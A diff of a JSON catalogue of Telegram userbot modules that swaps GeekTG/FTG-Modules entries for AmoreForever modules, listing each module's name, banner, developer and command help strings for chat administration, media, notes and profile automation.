- { - "deep": { - "ru_doc": null, - "en_doc": null, - "doc": "Deep the image" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/admin_tools.py": { - "name": "AdminToolsMod", - "description": "Admin Tools", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "ecpcmd": "Command .ecp changes the pic of the chat.\nUse: .ecp <reply to pic/sticker>." - }, - { - "promotecmd": "Command .promote for promote user to admin rights.\nUse: .promote <@ or reply> <rank>." - }, - { - "demotecmd": "Command .demote for demote user to admin rights.\nUse: .demote <@ or reply>." - }, - { - "pincmd": "Command .pin for pin message in the chat.\nUse: .pin <reply>." - }, - { - "unpincmd": "Command .unpin for unpin message in the chat.\nUse: .unpin." - }, - { - "kickcmd": "Command .kick for kick the user.\nUse: .kick <@ or reply>." - }, - { - "bancmd": "Command .ban for ban the user.\nUse: .ban <@ or reply>." - }, - { - "unbancmd": "Command .unban for unban the user.\nUse: .unban <@ or reply>." - }, - { - "mutecmd": "Command .mute for mute the user.\nUse: .mute <@ or reply> <time (1m, 1h, 1d)>." - }, - { - "unmutecmd": "Command .unmute for unmute the user.\nUse: .unmute <@ or reply>." - }, - { - "deluserscmd": "Command .delusers shows a list of all deleted accounts in the chat.\nUse: .delusers <clean>." - } - ], - "new_commands": [ - { - "ecp": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .ecp changes the pic of the chat.\nUse: .ecp <reply to pic/sticker>." - } - }, - { - "promote": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .promote for promote user to admin rights.\nUse: .promote <@ or reply> <rank>." - } - }, - { - "demote": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .demote for demote user to admin rights.\nUse: .demote <@ or reply>." - } - }, - { - "pin": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .pin for pin message in the chat.\nUse: .pin <reply>." - } - }, - { - "unpin": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .unpin for unpin message in the chat.\nUse: .unpin." - } - }, - { - "kick": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .kick for kick the user.\nUse: .kick <@ or reply>." - } - }, - { - "ban": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .ban for ban the user.\nUse: .ban <@ or reply>." - } - }, - { - "unban": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .unban for unban the user.\nUse: .unban <@ or reply>." - } - }, - { - "mute": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .mute for mute the user.\nUse: .mute <@ or reply> <time (1m, 1h, 1d)>." - } - }, - { - "unmute": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .unmute for unmute the user.\nUse: .unmute <@ or reply>." - } - }, - { - "delusers": { - "ru_doc": null, - "en_doc": null, - "doc": "Command .delusers shows a list of all deleted accounts in the chat.\nUse: .delusers <clean>." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/range.py": { - "name": "RangeMod", - "description": "Provides numbers as in Python range with delay", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "rangecmd": "Iterates over the given range and returns each number in separate message.\nUsage: .range <python_range_args>" - }, - { - "drangecmd": "Iterates over the given range and returns each number in separate message.\nUsage: .drange <delay> <python_range_args>" - }, - { - "countcmd": "Count from 1 to N.\nUsage: .count <delay> <N> or .count <N>" - }, - { - "rcountcmd": "Count from N to 1.\nUsage: .rcount <delay> <N> or .rcount <N>" - } - ], - "new_commands": [ - { - "range": { - "ru_doc": null, - "en_doc": null, - "doc": "Iterates over the given range and returns each number in separate message.\nUsage: .range <python_range_args>" - } - }, - { - "drange": { - "ru_doc": null, - "en_doc": null, - "doc": "Iterates over the given range and returns each number in separate message.\nUsage: .drange <delay> <python_range_args>" - } - }, - { - "count": { - "ru_doc": null, - "en_doc": null, - "doc": "Count from 1 to N.\nUsage: .count <delay> <N> or .count <N>" - } - }, - { - "rcount": { - "ru_doc": null, - "en_doc": null, - "doc": "Count from N to 1.\nUsage: .rcount <delay> <N> or .rcount <N>" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/noterminal.py": { - "name": "noTerminalMod", - "description": "Runs commands", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "noterminalcmd": "Gets the note specified" - }, - { - "noterminatecmd": "Use in reply to send SIGTERM to a process" - }, - { - "nokillcmd": "Use in reply to send SIGKILL to a process" - } - ], - "new_commands": [ - { - "noterminal": { - "ru_doc": null, - "en_doc": null, - "doc": "Gets the note specified" - } - }, - { - "noterminate": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply to send SIGTERM to a process" - } - }, - { - "nokill": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply to send SIGKILL to a process" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/notexec.py": { - "name": "ExecutorMod", - "description": "Stores global notes (aka snips)", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "notexeccmd": "Gets the note specified" - } - ], - "new_commands": [ - { - "notexec": { - "ru_doc": null, - "en_doc": null, - "doc": "Gets the note specified" - } - } - ], - "category": [ - "Fun", - "Tools" - ] - }, - "GeekTG/FTG-Modules/lyrics.py": { - "name": "LyricsMod", - "description": "Sings songs", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "lyricscmd": ".lyrics Song, Artist" - } - ], - "new_commands": [ - { - "lyrics": { - "ru_doc": null, - "en_doc": null, - "doc": ".lyrics Song, Artist" - } - } - ], - "category": [ - "Tools", - "Media" - ] - }, - "GeekTG/FTG-Modules/avatar.py": { - "name": "GetPPMod", - "description": null, - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "avacmd": "" - }, - { - "setavacmd": "" - }, - { - "delavacmd": "" - }, - { - "delavascmd": "" - }, - { - "setnamecmd": "" - }, - { - "setbiocmd": "" - }, - { - "setusercmd": "" - } - ], - "new_commands": [ - { - "ava": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "setava": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "delava": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "delavas": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "setname": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "setbio": { - "ru_doc": null, - "en_doc": null, - "doc": null - } - }, - { - "setuser": { - "ru_doc": null, - "en_doc": null, - "doc": null + "doc": "Send userbot info" } } ], @@ -23700,168 +39661,79 @@ "Admin" ] }, - "GeekTG/FTG-Modules/searcher.py": { - "name": "SearchMod", - "description": "Searcher module", + "AmoreForever/amoremods/facts.py": { + "name": "FactsMod", + "description": "More Interesting Facts", "meta": { "pic": null, - "banner": null + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Facts.jpg", + "developer": "@hikamorumods" }, "commands": [ { - "yarscmd": ".yars <repy to image>" + "afactscmd": "Intersting Facts" } ], "new_commands": [ { - "yars": { + "afacts": { "ru_doc": null, "en_doc": null, - "doc": ".yars <repy to image>" + "doc": "Intersting Facts" } } ], "category": [ - "Chat", + "Fun", "Tools" ] }, - "GeekTG/FTG-Modules/morze.py": { - "name": "MorzeMod", - "description": "Конвертация текста в шифр Морзе и наоборот.\n\nСимволы использовать не советую, могут возникать ошибки!!", + "AmoreForever/amoremods/searchpic.py": { + "name": "SearchPic", + "description": null, "meta": { "pic": null, - "banner": null + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Searchpic.jpg", + "developer": "@amoremods" }, "commands": [ { - "tomrzcmd": ".tomrz [реплай или текст]" - }, - { - "toabccmd": ".toabc [реплай или текст]" + "spiccmd": "Search picture" } ], "new_commands": [ { - "tomrz": { + "spic": { "ru_doc": null, "en_doc": null, - "doc": ".tomrz [реплай или текст]" - } - }, - { - "toabc": { - "ru_doc": null, - "en_doc": null, - "doc": ".toabc [реплай или текст]" + "doc": "Search picture" } } ], "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/quotes.py": { - "name": "mQuotesMod", - "description": "Quote a message using Mishase Quotes API", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "quotecmd": "Quote a message. Args: ?<count> ?file" - }, - { - "fquotecmd": "Fake message quote. Args: @<username>/<id>/<reply> <text>" - } - ], - "new_commands": [ - { - "quote": { - "ru_doc": null, - "en_doc": null, - "doc": "Quote a message. Args: ?<count> ?file" - } - }, - { - "fquote": { - "ru_doc": null, - "en_doc": null, - "doc": "Fake message quote. Args: @<username>/<id>/<reply> <text>" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/welcome.py": { - "name": "WelcomeMod", - "description": "Приветствие новых пользователей в чате.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "welcomecmd": "Включить/выключить приветствие новых пользователей в чате.\nИспользуй: .welcome <clearall (по желанию)>." - }, - { - "setwelcomecmd": "Установить новое приветствие новых пользователей в\n чате.\nИспользуй: .setwelcome <текст (можно использовать {name}; {\n chat})>; ничего." - } - ], - "new_commands": [ - { - "welcome": { - "ru_doc": null, - "en_doc": null, - "doc": "Включить/выключить приветствие новых пользователей в чате.\nИспользуй: .welcome <clearall (по желанию)>." - } - }, - { - "setwelcome": { - "ru_doc": null, - "en_doc": null, - "doc": "Установить новое приветствие новых пользователей в\n чате.\nИспользуй: .setwelcome <текст (можно использовать {name}; {\n chat})>; ничего." - } - } - ], - "category": [ - "Chat", + "Fun", "Tools" ] }, - "GeekTG/FTG-Modules/purge.py": { - "name": "PurgeMod", - "description": "Deletes your messages", + "AmoreForever/amoremods/speech.py": { + "name": "SpeechMod", + "description": "Simple speech recognition module.", "meta": { "pic": null, - "banner": null + "banner": "https://github.com/AmoreForever/assets/blob/master/Speech.jpg?raw=true", + "developer": "@hikamorumods" }, "commands": [ { - "purgecmd": "Purge from the replied message" - }, - { - "delcmd": "Delete the replied message" + "spech": "Recognize voice message. Usage: .spech <reply to voice message>" } ], "new_commands": [ { - "purge": { + "spech": { "ru_doc": null, "en_doc": null, - "doc": "Purge from the replied message" - } - }, - { - "del": { - "ru_doc": null, - "en_doc": null, - "doc": "Delete the replied message" + "doc": "Recognize voice message. Usage: .spech <reply to voice message>" } } ], @@ -23870,176 +39742,75 @@ "Chat" ] }, - "GeekTG/FTG-Modules/vizjener.py": { - "name": "VijenerMod", - "description": "Конвертация текста в шифр Виженеря и наоборот.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tovizcmd": ".toviz {ключ} {текст}" - }, - { - "tounvizcmd": ".tounviz {ключ} {текст}" - } - ], - "new_commands": [ - { - "toviz": { - "ru_doc": null, - "en_doc": null, - "doc": ".toviz {ключ} {текст}" - } - }, - { - "tounviz": { - "ru_doc": null, - "en_doc": null, - "doc": ".tounviz {ключ} {текст}" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/filter.py": { - "name": "FiltersMod", - "description": "Filters module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "filtercmd": "Adds a filter into the list." - }, - { - "stopcmd": "Removes a filter from the list." - }, - { - "stopallcmd": "Clears out the filter list." - }, - { - "filterscmd": "Shows saved filters." - } - ], - "new_commands": [ - { - "filter": { - "ru_doc": null, - "en_doc": null, - "doc": "Adds a filter into the list." - } - }, - { - "stop": { - "ru_doc": null, - "en_doc": null, - "doc": "Removes a filter from the list." - } - }, - { - "stopall": { - "ru_doc": null, - "en_doc": null, - "doc": "Clears out the filter list." - } - }, - { - "filters": { - "ru_doc": null, - "en_doc": null, - "doc": "Shows saved filters." - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "GeekTG/FTG-Modules/autoprofile.py": { + "AmoreForever/amoremods/autoprofile.py": { "name": "AutoProfileMod", "description": "Automatic stuff for your profile :P", "meta": { "pic": null, - "banner": null + "banner": null, + "developer": "@hikamorumods, FTG" }, "commands": [ { - "autopfpcmd": "Rotates your profile picture every 60 seconds with x degrees, usage:\n.autopfp <degrees> <remove previous (last pfp)>\n\nDegrees - 60, -10, etc\nRemove last pfp - True/1/False/0, case sensitive" + "cfautoprofcmd": "To specify the timezone via the config Что-бы указать таймзону через конфиг" }, { - "stopautopfpcmd": "Stop autobio cmd." + "autobiocmd": "Automatically changes your account's bio with current time, usage:\n.autobio 'message, time as {time}' Автоматически изменяет биографию вашей учетной записи с учетом текущего времени, использования: .autobio 'сообщение, время как {time}'" }, { - "autobiocmd": "Automatically changes your account's bio with current time, usage:\n.autobio '<message, time as {time}>'" + "stopautobiocmd": "Stop autobio cmd. Что-бы остановить время в био введи .stopautobio" }, { - "stopautobiocmd": "Stop autobio cmd." + "autonamecmd": "Automatically changes your Telegram name with current time, usage:\n.autoname '<message, time as {time}>' Автоматически изменяет имя вашей учетной записи с учетом текущего времени, использования: .autoname 'сообщение, время как {time}'" }, { - "autonamecmd": "Automatically changes your Telegram name with current time, usage:\n.autoname '<message, time as {time}>'" + "stopautonamecmd": "just write .stopautoname Что-бы остановить время в имени учетной записи введи .stopautoname" }, { - "stopautonamecmd": "Stop autoname cmd." - }, - { - "delpfpcmd": "Remove x profile pic(s) from your profile.\n.delpfp <pfps count/unlimited - remove all>" + "aguide": "Just guide ru/en" } ], "new_commands": [ { - "autopfp": { - "ru_doc": null, + "cfautoprof": { + "ru_doc": "Что-бы указать таймзону через конфиг", "en_doc": null, - "doc": "Rotates your profile picture every 60 seconds with x degrees, usage:\n.autopfp <degrees> <remove previous (last pfp)>\n\nDegrees - 60, -10, etc\nRemove last pfp - True/1/False/0, case sensitive" - } - }, - { - "stopautopfp": { - "ru_doc": null, - "en_doc": null, - "doc": "Stop autobio cmd." + "doc": "To specify the timezone via the config" } }, { "autobio": { - "ru_doc": null, + "ru_doc": "Автоматически изменяет биографию вашей учетной записи с учетом текущего времени, использования: .autobio 'сообщение, время как {time}'", "en_doc": null, - "doc": "Automatically changes your account's bio with current time, usage:\n.autobio '<message, time as {time}>'" + "doc": "Automatically changes your account's bio with current time, usage:\n.autobio 'message, time as {time}'" } }, { "stopautobio": { - "ru_doc": null, + "ru_doc": "Что-бы остановить время в био введи .stopautobio", "en_doc": null, "doc": "Stop autobio cmd." } }, { "autoname": { - "ru_doc": null, + "ru_doc": "Автоматически изменяет имя вашей учетной записи с учетом текущего времени, использования: .autoname 'сообщение, время как {time}'", "en_doc": null, "doc": "Automatically changes your Telegram name with current time, usage:\n.autoname '<message, time as {time}>'" } }, { "stopautoname": { - "ru_doc": null, + "ru_doc": "Что-бы остановить время в имени учетной записи введи .stopautoname", "en_doc": null, - "doc": "Stop autoname cmd." + "doc": "just write .stopautoname" } }, { - "delpfp": { + "aguide": { "ru_doc": null, "en_doc": null, - "doc": "Remove x profile pic(s) from your profile.\n.delpfp <pfps count/unlimited - remove all>" + "doc": "Just guide ru/en" } } ], @@ -24048,74 +39819,35 @@ "Chat" ] }, - "GeekTG/FTG-Modules/notes.py": { - "name": "NotesMod", - "description": "Stores global notes (aka snips)", + "AmoreForever/amoremods/mydiary.py": { + "name": "PagesMod", + "description": "Diary page", "meta": { - "pic": null, - "banner": null + "pic": "https://te.legra.ph/file/4c1b4581de961df145a70.png", + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Mydiary.jpg", + "developer": "@hikamoru & @wilsonmods" }, "commands": [ { - "findnotecmd": "Gets the note specified" + "cfdiarycmd": "> Set up buttons for the module" }, { - "notecmd": "Gets the note specified" - }, - { - "delallnotescmd": "Deletes all the saved notes" - }, - { - "savecmd": "Save a new note. Must be used in reply with one parameter (note name)" - }, - { - "delnotecmd": "Deletes a note, specified by note name" - }, - { - "notescmd": "List the saved notes" + "mydiarycmd": "> Main the diary section" } ], "new_commands": [ { - "findnote": { + "cfdiary": { "ru_doc": null, "en_doc": null, - "doc": "Gets the note specified" + "doc": "> Set up buttons for the module" } }, { - "note": { + "mydiary": { "ru_doc": null, "en_doc": null, - "doc": "Gets the note specified" - } - }, - { - "delallnotes": { - "ru_doc": null, - "en_doc": null, - "doc": "Deletes all the saved notes" - } - }, - { - "save": { - "ru_doc": null, - "en_doc": null, - "doc": "Save a new note. Must be used in reply with one parameter (note name)" - } - }, - { - "delnote": { - "ru_doc": null, - "en_doc": null, - "doc": "Deletes a note, specified by note name" - } - }, - { - "notes": { - "ru_doc": null, - "en_doc": null, - "doc": "List the saved notes" + "doc": "> Main the diary section" } } ], @@ -24124,364 +39856,35 @@ "Chat" ] }, - "GeekTG/FTG-Modules/callcontrol.py": { - "name": "VGCallControllerMod", - "description": "Control group voice calls", + "AmoreForever/amoremods/aeconv.py": { + "name": "Aeconv", + "description": "Easy and fast valute converter", "meta": { - "pic": null, - "banner": null + "pic": "https://cdn-icons-png.flaticon.com/512/5670/5670084.png", + "banner": "https://github.com/AmoreForever/assets/blob/master/Aeconv.jpg?raw=true", + "developer": "@hikamorumods" }, "commands": [ { - "callstartcmd": "Start call in chat" + "conv": "<amount> [currency] should be separated by space <количество> [валюта] должны быть разделены пробелом" }, { - "callstopcmd": "Stop call in chat" + "controlvalute": "[currency] | without arguments will show list of currencies for enable/disable [валюта] | без аргументов покажет список валют для включения/выключения" } ], "new_commands": [ { - "callstart": { - "ru_doc": null, + "conv": { + "ru_doc": "<количество> [валюта] должны быть разделены пробелом", "en_doc": null, - "doc": "Start call in chat" + "doc": "<amount> [currency] should be separated by space" } }, { - "callstop": { - "ru_doc": null, + "controlvalute": { + "ru_doc": "[валюта] | без аргументов покажет список валют для включения/выключения", "en_doc": null, - "doc": "Stop call in chat" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/distort.py": { - "name": "DistortMod", - "description": "Stickers or photo distort", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "tgscmd": "Animated stickers distort" - }, - { - "distortcmd": ".distort <reply to photo>\n.distort im\n.distort 50\n.distort 50 im\n.distort im 50\nim => sends as photo\n50 => (from 0 to 100) percent of distortion, 0 is maximum distortion" - }, - { - "jpegdcmd": "JPEG style distort" - } - ], - "new_commands": [ - { - "tgs": { - "ru_doc": null, - "en_doc": null, - "doc": "Animated stickers distort" - } - }, - { - "distort": { - "ru_doc": null, - "en_doc": null, - "doc": ".distort <reply to photo>\n.distort im\n.distort 50\n.distort 50 im\n.distort im 50\nim => sends as photo\n50 => (from 0 to 100) percent of distortion, 0 is maximum distortion" - } - }, - { - "jpegd": { - "ru_doc": null, - "en_doc": null, - "doc": "JPEG style distort" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/rpmod.py": { - "name": "RPMod", - "description": "Модуль RPMod + дополнение после команды.+реплика.(указывать реплику на второй строке)", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "dobrpcmd": "Используй: .dobrp (команда) / (действие) / (эмодзи) чтобы добавить команду. Можно и без эмодзи(но и второго\nразделителя). Используй только одно слово в качестве команды." - }, - { - "delrpcmd": "Используй: .delrp (команда) чтобы удалить команду.\nИспользуй: .delrp all чтобы удалить все команды." - }, - { - "rpmodcmd": "Используй: .rpmod чтобы включить/выключить RP режим.\nИспользуй: .rpmod toggle чтобы сменить режим на отправку или изменение смс." - }, - { - "rplistcmd": "Используй: .rplist чтобы посмотреть список рп команд." - }, - { - "rpnickcmd": "Используй: .rpnick (ник) чтобы сменить свой ник. Если без аргументов, то вернётся ник из тг." - }, - { - "rpbackcmd": "Используй: .rpback чтобы выгрузить список своих рп команд.\nИспользуй .rpback / (список чьих то команд) / (список чьих то эмодзи) чтобы добавить себе список команд. можно без эмодзи, но первый разделитель обязателен." - }, - { - "rpblockcmd": "Используй: .rpblock чтобы добавить/удалить исключение(использовать в нужном чате).\nИспользуй: .rpblock list чтобы просмотреть чаты в исключениях.\nИспользуй .rpblock (ид) чтобы удалить чат из исключений." - } - ], - "new_commands": [ - { - "dobrp": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .dobrp (команда) / (действие) / (эмодзи) чтобы добавить команду. Можно и без эмодзи(но и второго\nразделителя). Используй только одно слово в качестве команды." - } - }, - { - "delrp": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .delrp (команда) чтобы удалить команду.\nИспользуй: .delrp all чтобы удалить все команды." - } - }, - { - "rpmod": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .rpmod чтобы включить/выключить RP режим.\nИспользуй: .rpmod toggle чтобы сменить режим на отправку или изменение смс." - } - }, - { - "rplist": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .rplist чтобы посмотреть список рп команд." - } - }, - { - "rpnick": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .rpnick (ник) чтобы сменить свой ник. Если без аргументов, то вернётся ник из тг." - } - }, - { - "rpback": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .rpback чтобы выгрузить список своих рп команд.\nИспользуй .rpback / (список чьих то команд) / (список чьих то эмодзи) чтобы добавить себе список команд. можно без эмодзи, но первый разделитель обязателен." - } - }, - { - "rpblock": { - "ru_doc": null, - "en_doc": null, - "doc": "Используй: .rpblock чтобы добавить/удалить исключение(использовать в нужном чате).\nИспользуй: .rpblock list чтобы просмотреть чаты в исключениях.\nИспользуй .rpblock (ид) чтобы удалить чат из исключений." - } - } - ], - "category": [ - "Chat", - "Automation" - ] - }, - "GeekTG/FTG-Modules/url.py": { - "name": "URlMod", - "description": "URL Module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "ggcmd": ".gg <link or reply_to_link>" - }, - { - "lgtcmd": "Shorten the link using the verylegit.link service" - }, - { - "clckcmd": "Shorten the link using the service clck.ru" - }, - { - "lmgtfycmd": "Use in reply to another message or as .lmgtfy <text>" - }, - { - "nullcmd": "Shorten the link using the nullify service" - } - ], - "new_commands": [ - { - "gg": { - "ru_doc": null, - "en_doc": null, - "doc": ".gg <link or reply_to_link>" - } - }, - { - "lgt": { - "ru_doc": null, - "en_doc": null, - "doc": "Shorten the link using the verylegit.link service" - } - }, - { - "clck": { - "ru_doc": null, - "en_doc": null, - "doc": "Shorten the link using the service clck.ru" - } - }, - { - "lmgtfy": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply to another message or as .lmgtfy <text>" - } - }, - { - "null": { - "ru_doc": null, - "en_doc": null, - "doc": "Shorten the link using the nullify service" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/downloader.py": { - "name": "DownloaderMod", - "description": "Downloader module", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "dlrcmd": ".dlr <path/file_name> - download file to server" - }, - { - "ulfcmd": ".ulf <file_name/path> send file from server\n<d> - Delete file after sending" - }, - { - "dltiktokcmd": "TikTok video downloader" - }, - { - "dlfilecmd": "File downloader (small files)" - }, - { - "dlbigfilecmd": "File downloader (big files)" - } - ], - "new_commands": [ - { - "dlr": { - "ru_doc": null, - "en_doc": null, - "doc": ".dlr <path/file_name> - download file to server" - } - }, - { - "ulf": { - "ru_doc": null, - "en_doc": null, - "doc": ".ulf <file_name/path> send file from server\n<d> - Delete file after sending" - } - }, - { - "dltiktok": { - "ru_doc": null, - "en_doc": null, - "doc": "TikTok video downloader" - } - }, - { - "dlfile": { - "ru_doc": null, - "en_doc": null, - "doc": "File downloader (small files)" - } - }, - { - "dlbigfile": { - "ru_doc": null, - "en_doc": null, - "doc": "File downloader (big files)" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/warn.py": { - "name": "WarnsMod", - "description": "Система предупреждений.", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "warncmd": "Выдать варн. Используй: .warn <@ или реплай>." - }, - { - "warnslimitcmd": "Установить лимит предупреждений. Используй: .warnslimit <кол-во:int>." - }, - { - "warnscmd": "Посмотреть кол-во варнов. Используй: .warns <@ или реплай> или <list>." - }, - { - "swarncmd": "Изменить режим ограничения. Используй: .swarn <kick/ban/mute/none>." - }, - { - "clearwarnscmd": "Очистить все варны. Используй: .clearwarns <@ или реплай>." - } - ], - "new_commands": [ - { - "warn": { - "ru_doc": null, - "en_doc": null, - "doc": "Выдать варн. Используй: .warn <@ или реплай>." - } - }, - { - "warnslimit": { - "ru_doc": null, - "en_doc": null, - "doc": "Установить лимит предупреждений. Используй: .warnslimit <кол-во:int>." - } - }, - { - "warns": { - "ru_doc": null, - "en_doc": null, - "doc": "Посмотреть кол-во варнов. Используй: .warns <@ или реплай> или <list>." - } - }, - { - "swarn": { - "ru_doc": null, - "en_doc": null, - "doc": "Изменить режим ограничения. Используй: .swarn <kick/ban/mute/none>." - } - }, - { - "clearwarns": { - "ru_doc": null, - "en_doc": null, - "doc": "Очистить все варны. Используй: .clearwarns <@ или реплай>." + "doc": "[currency] | without arguments will show list of currencies for enable/disable" } } ], @@ -24490,150 +39893,109 @@ "Chat" ] }, - "GeekTG/FTG-Modules/voice_recognition.py": { - "name": "VoiceRecognitionMod", - "description": "Распознавание речи через Google Recognition API", + "AmoreForever/amoremods/birthdaywish.py": { + "name": "BirthdayWish", + "description": "Share warmth with your loved ones and give them this website to make their birthdays even more special and joyful.", "meta": { "pic": null, - "banner": null + "banner": null, + "developer": "@hikamorumods" }, "commands": [ { - "recvcmd": ".recv <reply to voice/audio> - распознать речь" + "wishcmd": "Create Birthday web wishes args: <name> <time:seconds default(20)>" } ], "new_commands": [ { - "recv": { + "wish": { "ru_doc": null, "en_doc": null, - "doc": ".recv <reply to voice/audio> - распознать речь" + "doc": "Create Birthday web wishes args: <name> <time:seconds default(20)>" } } ], "category": [ "Tools", - "Games" + "Chat" ] }, - "GeekTG/FTG-Modules/fake_actions.py": { - "name": "FakeMod", - "description": "Imitates your actions", + "AmoreForever/amoremods/lexiwiz.py": { + "name": "LexiwizMod", + "description": "Lexical wizard - your english companion", "meta": { "pic": null, - "banner": null + "banner": null, + "developer": "@hikamorumods" }, "commands": [ { - "typecmd": "Imitates typing" + "getdef": "Get definition of a word" }, { - "voicecmd": "Imitates sending voices" + "getpron": "Get pronunciation of a word" }, { - "gamecmd": "Imitates your game activity" + "getsyn": "Get synonyms of a word" }, { - "videocmd": "Imitates sending video" - }, - { - "photocmd": "Imitates sending photo" - }, - { - "documentcmd": "Imitates sending document" - }, - { - "locationcmd": "Imitates sending location" - }, - { - "recordvideocmd": "Imitates recording video" - }, - { - "recordvoicecmd": "Imitates recording voice" - }, - { - "recordroundcmd": "Imitates recording round video" - }, - { - "scrncmd": "Screenshot notification (Only PM)" + "getant": "Get antonyms of a word" } ], "new_commands": [ { - "type": { + "getdef": { "ru_doc": null, "en_doc": null, - "doc": "Imitates typing" + "doc": "Get definition of a word" } }, { - "voice": { + "getpron": { "ru_doc": null, "en_doc": null, - "doc": "Imitates sending voices" + "doc": "Get pronunciation of a word" } }, { - "game": { + "getsyn": { "ru_doc": null, "en_doc": null, - "doc": "Imitates your game activity" + "doc": "Get synonyms of a word" } }, { - "video": { + "getant": { "ru_doc": null, "en_doc": null, - "doc": "Imitates sending video" + "doc": "Get antonyms of a word" } - }, + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "AmoreForever/amoremods/instsave.py": { + "name": "InstagramMod", + "description": "Download video from instagram without watermark", + "meta": { + "pic": "https://te.legra.ph/file/0251f5d602a8f32cd7368.png", + "banner": "https://raw.githubusercontent.com/AmoreForever/assets/master/Instsave.jpg", + "developer": "@hikamorumods" + }, + "commands": [ { - "photo": { - "ru_doc": null, - "en_doc": null, - "doc": "Imitates sending photo" - } - }, + "instascmd": "instagram video/reels/photo url <линк> - Скачать видео из инстаграм" + } + ], + "new_commands": [ { - "document": { - "ru_doc": null, + "instas": { + "ru_doc": "<линк> - Скачать видео из инстаграм", "en_doc": null, - "doc": "Imitates sending document" - } - }, - { - "location": { - "ru_doc": null, - "en_doc": null, - "doc": "Imitates sending location" - } - }, - { - "recordvideo": { - "ru_doc": null, - "en_doc": null, - "doc": "Imitates recording video" - } - }, - { - "recordvoice": { - "ru_doc": null, - "en_doc": null, - "doc": "Imitates recording voice" - } - }, - { - "recordround": { - "ru_doc": null, - "en_doc": null, - "doc": "Imitates recording round video" - } - }, - { - "scrn": { - "ru_doc": null, - "en_doc": null, - "doc": "Screenshot notification (Only PM)" + "doc": "instagram video/reels/photo url" } } ], @@ -24642,780 +40004,6 @@ "Tools" ] }, - "GeekTG/FTG-Modules/stickers.py": { - "name": "StickersMod", - "description": "Tasks with stickers", - "meta": { - "pic": null, - "banner": null - }, - "commands": [ - { - "kangcmd": "Use in reply or with an attached media:\n.kang <pack name> [emojis]\nIf pack is not matched the most recently created will be used instead" - }, - { - "gififycmd": "Convert the replied animated sticker to a GIF" - }, - { - "stextcmd": ".stext <reply to photo>" - } - ], - "new_commands": [ - { - "kang": { - "ru_doc": null, - "en_doc": null, - "doc": "Use in reply or with an attached media:\n.kang <pack name> [emojis]\nIf pack is not matched the most recently created will be used instead" - } - }, - { - "gifify": { - "ru_doc": null, - "en_doc": null, - "doc": "Convert the replied animated sticker to a GIF" - } - }, - { - "stext": { - "ru_doc": null, - "en_doc": null, - "doc": ".stext <reply to photo>" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "GeekTG/FTG-Modules/image_editor.py": { - "name": "ImageEditorMod", - "description": "ImageEditor - Simple tool for working with images", - "meta": { - "pic": null, - "banner": null, - "developer": "@D4n13l3k00" - }, - "commands": [ - { - "resizeicmd": ".resizei <w> <h> - Resize image" - }, - { - "rmbgicmd": ".rmbgi - Remove background via AI [Powered by Indian's AI]" - }, - { - "inverticmd": ".inverti - Invert colors" - }, - { - "bwicmd": ".bwi - BlackWhite" - }, - { - "convicmd": ".convi - Sticker to image | Image to sticker" - }, - { - "rotateicmd": ".rotatei 